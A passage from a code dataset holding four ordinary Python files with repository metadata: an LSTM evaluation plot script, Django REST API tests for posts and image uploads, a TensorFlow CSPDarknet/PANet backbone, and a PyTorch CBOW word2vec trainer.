batch_size,seq_len,input_size\n else:\n x = x.squeeze(1)\n pred = model(x)\n list = pred.data.squeeze(1).tolist()\n preds.extend(list[-1])\n labels.extend(label.tolist())\n a=[]\n b=[]\n for i in range(len(preds)):\n print('预测值是%.2f,真实值是%.2f' % (\n preds[i][0] * (close_max - close_min) + close_min, labels[i] * (close_max - close_min) + close_min))\n a.append(preds[i][0] * (close_max - close_min) + close_min)\n b.append(labels[i] * (close_max - close_min) + close_min)\n\n # 绘图\n plt.rcParams['font.sans-serif'] = ['Times New Roman'] # 指定默认字体\n plt.rcParams['axes.unicode_minus'] = False # 解决保存图像是负号'-'显示为方块的问题\n\n L1,=plt.plot(a,marker = 'o',)\n L2,=plt.plot(b,marker = '*')\n plt.legend([L1, L2], ['Predict', 'Real'], loc='upper right')\n plt.xlabel('/5mins')\n plt.ylabel('People_Count')\n plt.savefig(args.save_evaluate, dpi=1200,bbox_inches='tight')\n plt.show()\n\neval()", "repo_name": "SHAOChifeng/LSTM-Hospital-term", "sub_path": "People_Prediction/evaluate.py", "file_name": "evaluate.py", "file_ext": "py", "file_size_in_byte": 1766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "LSTMModel.lstm", "line_number": 10, "usage_type": "call"}, {"api_name": "parser_my.args.input_size", "line_number": 10, "usage_type": "attribute"}, {"api_name": "parser_my.args", "line_number": 10, "usage_type": "name"}, {"api_name": "parser_my.args.hidden_size", "line_number": 10, "usage_type": "attribute"}, {"api_name": "parser_my.args.layers", "line_number": 10, "usage_type": "attribute"}, {"api_name": "parser_my.args.device", "line_number": 11, "usage_type": "attribute"}, {"api_name": "parser_my.args", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 12, "usage_type": "call"}, {"api_name": "parser_my.args.save_file", "line_number": 12, "usage_type": "attribute"}, {"api_name": "parser_my.args", "line_number": 12, "usage_type": "name"}, {"api_name": "dataset.getData", "line_number": 16, "usage_type": "call"}, {"api_name": "parser_my.args.corpusFile", "line_number": 16, "usage_type": "attribute"}, {"api_name": "parser_my.args", "line_number": 16, "usage_type": "name"}, {"api_name": "parser_my.args.sequence_length", "line_number": 16, "usage_type": "attribute"}, {"api_name": "parser_my.args.batch_size", "line_number": 16, "usage_type": "attribute"}, {"api_name": "parser_my.args.useGPU", "line_number": 18, "usage_type": "attribute"}, {"api_name": "parser_my.args", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 36, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "parser_my.args.save_evaluate", "line_number": 43, "usage_type": "attribute"}, {"api_name": "parser_my.args", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "11004238651", "text": "import io\nimport mock\nfrom PIL import Image\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom django.core.files import File\nfrom rest_framework.test import APITestCase\nfrom django.contrib.auth import get_user_model\nfrom django.core.files.uploadedfile import SimpleUploadedFile\n\nfrom ..models import Posts, Images\n\n\nclass PostsModelTest(APITestCase):\n def setUp(self):\n \"\"\"Создаем один пост с юзером и картинкой\"\"\"\n file_mock = mock.MagicMock(spec=File)\n file_mock.name = \"photo.jpg\"\n\n self.user = get_user_model().objects.create_user(\n username=\"root\", email=\"root@mail.ru\", password=\"1\"\n )\n self.post_test1 = Posts.objects.create(\n body=\"post body\", user=self.user, image=file_mock.name\n )\n Images.objects.create(post=self.post_test1, image=file_mock.name)\n\n image = io.BytesIO()\n Image.new(mode=\"RGB\", size=(200, 200)).save(image, \"JPEG\")\n image.seek(0)\n image_file = SimpleUploadedFile(\"image.jpg\", image.getvalue())\n\n self.data = {\"body\": \"test post_body_2\", \"uploaded_images\": image_file}\n\n def test_username(self):\n self.assertEqual(str(self.user), \"root\")\n\n def test_post(self):\n \"\"\"Проверка полей поста (body, user)\"\"\"\n post = Posts.objects.get(id=\"1\")\n expected_object_body = post.body\n expected_username = post.user.username\n expected_user_email = post.user.email\n self.assertEqual(expected_object_body, \"post body\")\n self.assertEqual(expected_username, \"root\")\n self.assertEqual(expected_user_email, \"root@mail.ru\")\n\n def test_posts_list(self):\n \"\"\"Одна запись, одна картинка\"\"\"\n response = self.client.get(reverse(\"posts-list\"))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data), 1)\n self.assertEqual(len(response.data[0][\"images\"]), 1)\n\n def test_post_detail(self):\n response = self.client.get(\n reverse(\"posts-detail\", kwargs={\"pk\": self.post_test1.id})\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.json().get(\"body\"), \"post body\")\n\n def test_post_detail_fail(self):\n response = self.client.get(reverse(\"posts-detail\", kwargs={\"pk\": 60}))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_post_create(self):\n \"\"\"Отправляем POST запрос от созданного юзера (root) для создания поста с изображением\"\"\"\n user = get_user_model().objects.get(id=1)\n # client = APIClient()\n self.client.force_authenticate(user=user)\n response = self.client.post(\n reverse(\"upload_file\"),\n self.data,\n format=\"multipart\",\n )\n new_posts_image = Images.objects.all()\n self.assertEqual(len(new_posts_image), 2) # проверка количества картинок\n self.assertEqual(\n new_posts_image[1].post.user.username, \"root\"\n ) # проверка username созданной картинки\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n res = self.client.get(\"/api/posts/2/\")\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n\n def test_post_images_pk(self):\n response = self.client.get(\"/api/post-images/1/\")\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data[0][\"post_id\"], 1)\n\n response_2 = self.client.get(\"/api/post-images/2/\")\n self.assertEqual(len(response_2.data), 0)\n \n # response_3 = self.client.get(\"/api/post-images/\")\n # # self.assertEqual(len(response_3.data), 1)\n # print(response_3.data)", "repo_name": "daron035/social2.0", "sub_path": "backend/twitter/tests/test_models.py", "file_name": "test_models.py", "file_ext": "py", "file_size_in_byte": 3929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rest_framework.test.APITestCase", "line_number": 14, "usage_type": "name"}, {"api_name": "mock.MagicMock", "line_number": 17, "usage_type": "call"}, {"api_name": "django.core.files.File", "line_number": 17, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Posts.objects.create", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Posts.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Posts", "line_number": 23, "usage_type": "name"}, {"api_name": "models.Images.objects.create", "line_number": 26, "usage_type": "call"}, {"api_name": "models.Images.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.Images", "line_number": 26, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 29, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 29, "usage_type": "name"}, {"api_name": "django.core.files.uploadedfile.SimpleUploadedFile", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Posts.objects.get", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Posts.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "models.Posts", "line_number": 40, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 50, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 51, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 51, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 57, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 59, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 63, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 64, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 64, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 68, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 72, "usage_type": "call"}, {"api_name": "models.Images.objects.all", "line_number": 76, "usage_type": "call"}, {"api_name": "models.Images.objects", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.Images", "line_number": 76, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 81, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 81, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 84, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 88, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 88, "usage_type": "name"}]} +{"seq_id": "26306895453", "text": "from functools import wraps, reduce\n\nimport tensorflow as tf\nfrom tensorflow.keras.initializers import RandomNormal\nfrom tensorflow.keras.layers import (Add, BatchNormalization, Concatenate,\n Conv2D, Layer, MaxPooling2D, Lambda,\n ZeroPadding2D, UpSampling2D, Input)\n\nfrom tensorflow.keras.regularizers import l2\nimport os\n\ndef compose(*funcs):\n if funcs:\n return reduce(lambda f, g: lambda *a, **kw: g(f(*a, **kw)), funcs)\n else:\n raise ValueError('Composition of empty sequence not supported.')\n\n\nclass SiLU(Layer):\n def __init__(self, **kwargs):\n super(SiLU, self).__init__(**kwargs)\n self.supports_masking = True\n\n def call(self, inputs):\n return inputs * tf.math.sigmoid(inputs)\n\n def get_config(self):\n config = super(SiLU, self).get_config()\n return config\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\nclass Focus(Layer):\n '''\n RegOrg module (?)\n '''\n def __init__(self, **kwargs):\n super(Focus, self).__init__(**kwargs)\n\n def compute_output_shape(self, input_shape):\n return (input_shape[0], input_shape[1] // 2 if input_shape[1] != None else input_shape[1],\n input_shape[2] // 2 if input_shape[2] != None else input_shape[2], input_shape[3] * 4)\n \n# def get_config(self):\n# config = super(Focus, self).get_config()\n# return config\n\n def call(self, x):\n return tf.concat(\n [x[..., ::2, ::2, :],\n x[..., 1::2, ::2, :],\n x[..., ::2, 1::2, :],\n x[..., 1::2, 1::2, :]],\n axis=-1\n )\n#------------------------------------------------------#\n# DarknetConv2D\n# If set strides = 2 then do your own padding\n#------------------------------------------------------#\n@wraps(Conv2D)\ndef DarknetConv2D(*args, **kwargs):\n darknet_conv_kwargs = {'kernel_initializer' : RandomNormal(stddev=0.02),\n 'kernel_regularizer' : l2(kwargs.get('weight_decay', 5e-4))}\n darknet_conv_kwargs['padding'] = 'valid' if kwargs.get('strides')==(2, 2) else 'same'\n try:\n del kwargs['weight_decay']\n except:\n pass\n darknet_conv_kwargs.update(kwargs)\n return Conv2D(*args, **darknet_conv_kwargs)\n\n#---------------------------------------------------#\n# DarknetConv2D + BatchNormalization + SiLU\n#---------------------------------------------------#\ndef DarknetConv2D_BN_SiLU(*args, **kwargs):\n no_bias_kwargs = {'use_bias': False}\n no_bias_kwargs.update(kwargs)\n if \"name\" in kwargs.keys():\n no_bias_kwargs['name'] = kwargs['name'] + '.conv'\n return compose(\n DarknetConv2D(*args, **no_bias_kwargs),\n BatchNormalization(momentum = 0.97, epsilon = 0.001, name = kwargs['name'] + '.bn'),\n SiLU())\n\n#---------------------------------------------------#\n# SPP: stacking after 3 max pooling is used\n#---------------------------------------------------#\ndef SPPBottleneck(x, out_channels, weight_decay=5e-4, name = \"\"):\n x = DarknetConv2D_BN_SiLU(out_channels // 2, (1, 1), weight_decay=weight_decay, name = name + '.conv1')(x)\n maxpool1 = MaxPooling2D(pool_size=(5, 5), strides=(1, 1), padding='same')(x)\n maxpool2 = MaxPooling2D(pool_size=(9, 9), strides=(1, 1), padding='same')(x)\n maxpool3 = MaxPooling2D(pool_size=(13, 13), strides=(1, 1), padding='same')(x)\n x = Concatenate()([x, maxpool1, maxpool2, maxpool3])\n x = DarknetConv2D_BN_SiLU(out_channels, (1, 1), weight_decay=weight_decay, name = name + '.conv2')(x)\n return x\n\ndef Bottleneck(x, out_channels, shortcut=True, weight_decay=5e-4, name = \"\"):\n y = compose(\n DarknetConv2D_BN_SiLU(out_channels, (1, 1), weight_decay=weight_decay, name = name + '.conv1'),\n DarknetConv2D_BN_SiLU(out_channels, (3, 3), weight_decay=weight_decay, name = name + '.conv2'))(x)\n if shortcut:\n y = Add()([x, y])\n return y\n\ndef CSPLayer(x, num_filters, num_blocks, shortcut=True, expansion=0.5, weight_decay=5e-4, name=\"\"):\n hidden_channels = int(num_filters * expansion) # hidden channels\n x_1 = DarknetConv2D_BN_SiLU(hidden_channels, (1, 1), weight_decay=weight_decay, name = name + '.conv1')(x)\n x_2 = DarknetConv2D_BN_SiLU(hidden_channels, (1, 1), weight_decay=weight_decay, name = name + '.conv2')(x)\n for i in range(num_blocks):\n x_1 = Bottleneck(x_1, hidden_channels, shortcut=shortcut, weight_decay=weight_decay, name = name + '.m.' + str(i))\n \n route = Concatenate()([x_1, x_2])\n return DarknetConv2D_BN_SiLU(num_filters, (1, 1), weight_decay=weight_decay, name = name + '.conv3')(route)\n\ndef resblock_body(x, num_filters, num_blocks, expansion=0.5, shortcut=True, last=False, weight_decay=5e-4, name = \"\"):\n #----------------------------------------------------------------#\n # reduce height and width by stride-2 convolution\n #----------------------------------------------------------------#\n\n # 320, 320, 64 => 160, 160, 128\n x = ZeroPadding2D(((1, 0),(1, 0)))(x)\n x = DarknetConv2D_BN_SiLU(num_filters, (3, 3), strides = (2, 2), weight_decay=weight_decay, name = name + '.0')(x)\n if last:\n x = SPPBottleneck(x, num_filters, weight_decay=weight_decay, name = name + '.1')\n return CSPLayer(x, num_filters, num_blocks, shortcut=shortcut, expansion=expansion, weight_decay=weight_decay, name = name + '.1' if not last else name + '.2')\n\n#---------------------------------------------------#\n# CSPdarkne main part\n# input shape: HxWx3 = 640x640x3\n# output three feature layers with stride: 1/8, 1/16, 1/32\n#---------------------------------------------------#\ndef darknet_body(x, dep_mul, wid_mul, weight_decay=5e-4):\n base_channels = int(wid_mul * 64) # 64\n base_depth = max(round(dep_mul * 3), 1) # 3\n # 640, 640, 3 => 320, 320, 12\n x = Focus()(x)\n # 320, 320, 12 => 320, 320, 64\n x = DarknetConv2D_BN_SiLU(base_channels, (3, 3), weight_decay=weight_decay, name = 'backbone.backbone.stem.conv')(x)\n # 320, 320, 64 => 160, 160, 128\n x = resblock_body(x, base_channels * 2, base_depth, weight_decay=weight_decay, name = 'backbone.backbone.dark2')\n # 160, 160, 128 => 80, 80, 256\n x = resblock_body(x, base_channels * 4, base_depth * 3, weight_decay=weight_decay, name = 'backbone.backbone.dark3')\n feat1 = x\n # 80, 80, 256 => 40, 40, 512\n x = resblock_body(x, base_channels * 8, base_depth * 3, weight_decay=weight_decay, name = 'backbone.backbone.dark4')\n feat2 = x\n # 40, 40, 512 => 20, 20, 1024\n x = resblock_body(x, base_channels * 16, base_depth, shortcut=False, last=True, weight_decay=weight_decay, name = 'backbone.backbone.dark5')\n feat3 = x\n return feat1,feat2,feat3\n\n#---------------------------------------------------#\n# PANet\n#---------------------------------------------------#\ndef PANet(features, depth, width, in_channels=[256, 512, 1024], weight_decay=5e-4):\n feat1, feat2, feat3 = features\n P5 = DarknetConv2D_BN_SiLU(int(in_channels[1] * width), (1, 1), weight_decay=weight_decay,\n name = 'backbone.lateral_conv0')(feat3) \n P5_upsample = UpSampling2D()(P5) # 512/16\n P5_upsample = Concatenate(axis = -1)([P5_upsample, feat2]) # 512->1024/16\n P5_upsample = CSPLayer(P5_upsample, int(in_channels[1] * width), round(3 * depth), shortcut = False,\n weight_decay=weight_decay, name = 'backbone.C3_p4') # 1024->512/16\n\n P4 = DarknetConv2D_BN_SiLU(int(in_channels[0] * width), (1, 1), weight_decay=weight_decay,\n name = 'backbone.reduce_conv1')(P5_upsample) # 512->256/16\n P4_upsample = UpSampling2D()(P4) # 256/8\n P4_upsample = Concatenate(axis = -1)([P4_upsample, feat1]) # 256->512/8\n P3_out = CSPLayer(P4_upsample, int(in_channels[0] * width), round(3 * depth), shortcut = False,\n weight_decay=weight_decay, name = 'backbone.C3_p3') # 1024->512/16\n\n P3_downsample = ZeroPadding2D(((1, 0),(1, 0)))(P3_out)\n P3_downsample = DarknetConv2D_BN_SiLU(int(in_channels[0] * width), (3, 3), strides = (2, 2), weight_decay=weight_decay,\n name = 'backbone.bu_conv2')(P3_downsample) # 256->256/16\n P3_downsample = Concatenate(axis = -1)([P3_downsample, P4]) # 256->512/16\n P4_out = CSPLayer(P3_downsample, int(in_channels[1] * width), round(3 * depth), shortcut = False,\n weight_decay=weight_decay, name = 'backbone.C3_n3') # 1024->512/16\n\n P4_downsample = ZeroPadding2D(((1, 0),(1, 0)))(P4_out)\n P4_downsample = DarknetConv2D_BN_SiLU(int(in_channels[1] * width), (3, 3), strides = (2, 2), weight_decay=weight_decay,\n name = 'backbone.bu_conv1')(P4_downsample) # 256->256/16\n P4_downsample = Concatenate(axis = -1)([P4_downsample, P5]) # 512->1024/32\n P5_out = CSPLayer(P4_downsample, int(in_channels[2] * width), round(3 * depth), shortcut = False,\n weight_decay=weight_decay, name = 'backbone.C3_n4') # 1024->512/16\n\n fpn_outs = [P3_out, P4_out, P5_out]\n return fpn_outs\n\nroot = os.path.abspath(os.path.dirname(__file__))\n\nclass CSPDarknet:\n def __init__(self, input_shape, model_type='tiny', weight_decay=5e-4):\n assert model_type in ['tiny', 's', 'm', 'l', 'x'], 'Model type not found'\n self.image_input = Input(shape=input_shape)\n self.depth_dict = {'tiny': 0.33, 's' : 0.33, 'm' : 0.67, 'l' : 1.00, 'x' : 1.33,}\n self.width_dict = {'tiny': 0.375, 's' : 0.50, 'm' : 0.75, 'l' : 1.00, 'x' : 1.25,}\n self.model_weight_paths = {\n 'tiny': 'csp_weights/yolox_tiny.h5',\n 's': 'csp_weights/yolox_s.h5',\n 'm': 'csp_weights/yolox_m.h5',\n 'l': 'csp_weights/yolox_l.h5',\n 'x': 'csp_weights/yolox_x.h5'\n }\n self.model_type = model_type\n self.weight_decay = weight_decay\n \n \n def build(self):\n depth, width = self.depth_dict[self.model_type], self.width_dict[self.model_type]\n in_channels = [256, 512, 1024]\n\n #---------------------------------------------------#\n # Input 640, 640, 3\n # feat1 80, 80, 256\n # feat2 40, 40, 512\n # feat3 20, 20, 1024\n #---------------------------------------------------#\n feat1, feat2, feat3 = darknet_body(self.image_input, depth, width, weight_decay=self.weight_decay)\n fpn_outs = PANet([feat1, feat2, feat3], depth, width, in_channels, self.weight_decay)\n model = tf.keras.models.Model(inputs=self.image_input, outputs=fpn_outs)\n model.load_weights(os.path.join(root, self.model_weight_paths[self.model_type]), by_name=True)\n return model\n\nif __name__ == '__main__':\n '''\n tiny: 3.9M || s: 7M || m: 21M || l: 46.6M || x: 87.3M\n '''\n model = CSPDarknet((640, 640, 3), 'x').build()\n model.summary()\n outs = model.output\n for out in outs:\n print(out.shape)\n \n\n", "repo_name": "NguyenHongSon1103/CenterNet_tf", "sub_path": "models/backbone/CSPdarknet.py", "file_name": "CSPdarknet.py", "file_ext": "py", "file_size_in_byte": 11162, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "functools.reduce", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Layer", "line_number": 19, "usage_type": "name"}, {"api_name": "tensorflow.math.sigmoid", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Layer", "line_number": 34, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.RandomNormal", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.keras.regularizers.l2", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 71, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 61, "usage_type": "argument"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Concatenate", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Add", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Concatenate", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.ZeroPadding2D", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.UpSampling2D", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Concatenate", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.UpSampling2D", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Concatenate", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.ZeroPadding2D", "line_number": 172, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Concatenate", "line_number": 175, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.ZeroPadding2D", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Concatenate", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 189, "usage_type": "call"}, {"api_name": "os.path", "line_number": 189, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 189, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 194, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Model", "line_number": 220, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 220, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 221, "usage_type": "call"}, {"api_name": "os.path", "line_number": 221, "usage_type": "attribute"}]} +{"seq_id": "37636145086", "text": "# encoding=utf-8\n# Project: learn-pytorch\n# Author: xingjunjie github: @gavinxing\n# Create Time: 29/07/2017 11:58 AM on PyCharm\n# Basic template from http://pytorch.org/tutorials/beginner/nlp/word_embeddings_tutorial.html\n\nimport torch\nimport torch.nn as nn\nimport torch.autograd as autograd\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom word2vec_utils import *\nimport numpy\nfrom sklearn.metrics.pairwise import cosine_similarity\n\nclass CBOW(nn.Module):\n\n def __init__(self, embedding_size=100, vocab_size=None):\n super(CBOW, self).__init__()\n self.emb_dimension = embedding_size\n self.embeddings = nn.Embedding(vocab_size, embedding_size)\n self.linear1 = nn.Linear(embedding_size, vocab_size)\n\n def forward(self, inputs):\n lookup_embeds = self.embeddings(inputs)\n embeds = lookup_embeds.sum(dim=0)\n embeds = embeds.view(1, -1)\n out = self.linear1(embeds)\n out = F.log_softmax(out, dim=1)\n\n return out\n def save_embedding(self, id2word, file_name):\n \"\"\"Save all embeddings to file.\n\n As this class only record word id, so the map from id to word has to be transfered from outside.\n\n Args:\n id2word: map from word id to word.\n file_name: file name.\n Returns:\n None.\n \"\"\"\n embedding = self.embeddings.weight.data.numpy()\n fout = codecs.open(file_name, 'w', \"utf-8\")\n fout.write('%d %d\\n' % (len(id2word), self.emb_dimension))\n for wid, w in id2word.items():\n e = embedding[wid]\n e = ' '.join(map(lambda x: str(x), e))\n fout.write('%s %s\\n' % (w, e))\n fout.close()\n\n def get_emb(self, ids):\n return self.embeddings(ids)\n\n# create your model and train. here are some functions to help you make\n# the data ready for use by your module\n\ndef make_context_vector(context, word_to_ix):\n idxs = [word_to_ix[w] for w in context]\n tensor = torch.LongTensor(idxs)\n return autograd.Variable(tensor)\n\ndef get_min_dis(line, embedding):\n ans = torch.mul(line, embedding)\n mod_line = torch.sqrt(torch.sum(torch.mul(line.type(torch.DoubleTensor),line.type(torch.DoubleTensor)), dim = 1))\n mod_emb = torch.sqrt(torch.sum(torch.mul(embedding.type(torch.DoubleTensor),embedding.type(torch.DoubleTensor)), dim = 1))\n\n ans = torch.sum(ans, dim = 1).type(torch.DoubleTensor)\n ans = [i / (mod_line[0] * j) for i, j in zip(ans, mod_emb)]\n\n ans = [(s, i) for i, s in enumerate(ans)]\n\n ans.sort(reverse=True)\n return ans[:10]\n\ndef test():\n f = codecs.open(\"embedding1.txt\", \"r\", \"utf-8\")\n f.readline()\n all_embeddings = []\n all_words = []\n for i, line in enumerate(f):\n line = line.strip().split(' ')\n word = line[0]\n embedding = [float(x) for x in line[1:]]\n all_embeddings.append(embedding)\n all_words.append(word)\n all_embeddings = numpy.array(all_embeddings)\n words = [\"羽毛球\", \"中国\"]\n for ww in words:\n if ww in word_to_ix:\n wid = word_to_ix[ww]\n embedding = all_embeddings[wid:wid + 1]\n d = cosine_similarity(embedding, all_embeddings)[0]\n d = zip(all_words, d)\n d = sorted(d, key=lambda x: x[1], reverse=True)\n for w in d[:10]:\n print(w)\n print (\"\\n\\n\")\n\n\ndef test_for_predict(model):\n sent = \"香港 羽毛球 不错\".split()\n t = get_context(sent, CONTEXT_SIZE, 0)\n t_ids = torch.tensor([word_to_ix[i] for i in t if i in word_to_ix])\n model.zero_grad()\n ret = model(t_ids)\n ret = ret.squeeze()\n a = torch.topk(ret, 10)\n for score, index in zip(a[0], a[1]):\n print(sent[0], score, idx_to_word[index.item()])\n\n\nif __name__ == '__main__':\n\n train_data = get_train_data()\n\n # By deriving a set from `raw_text`, we deduplicate the array\n\n word_to_ix,idx_to_word = get_word_index(train_data)\n vocab_size = len(word_to_ix)\n data = get_skip_gram(train_data)\n print (\"tri gram data\", len(data))\n with codecs.open(\"tri_gram.txt\", \"w\", \"utf-8\") as f:\n for l in data:\n f.write(\"\\t\".join(l[0]) + \"\\t\" + l[1] + \"\\n\")\n\n\n loss_func = nn.NLLLoss()\n net = CBOW(embedding_size=EMBEDDING_SIZE, vocab_size=vocab_size)\n optimizer = optim.SGD(net.parameters(), lr=0.01)\n\n for epoch in range(30001):\n total_loss = 0\n for i, (context, target) in enumerate(data):\n context_var = make_context_vector(context, word_to_ix)\n net.zero_grad()\n log_probs = net(context_var)\n\n loss = loss_func(log_probs, torch.LongTensor([word_to_ix[target]]))\n\n loss.backward()\n optimizer.step()\n\n total_loss += loss.data\n if epoch % 1000 == 0:\n print(\"epoch\", epoch, total_loss)\n net.save_embedding(idx_to_word, \"embedding1.txt\")\n test()\n # test_for_predict(net)", "repo_name": "esun0087/self_parser", "sub_path": "self_word2vec/mini_word2vec_pytorch.py", "file_name": "mini_word2vec_pytorch.py", "file_ext": "py", "file_size_in_byte": 4960, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn.Module", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.mul", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.DoubleTensor", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.sqrt", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.DoubleTensor", "line_number": 66, "usage_type": "attribute"}, 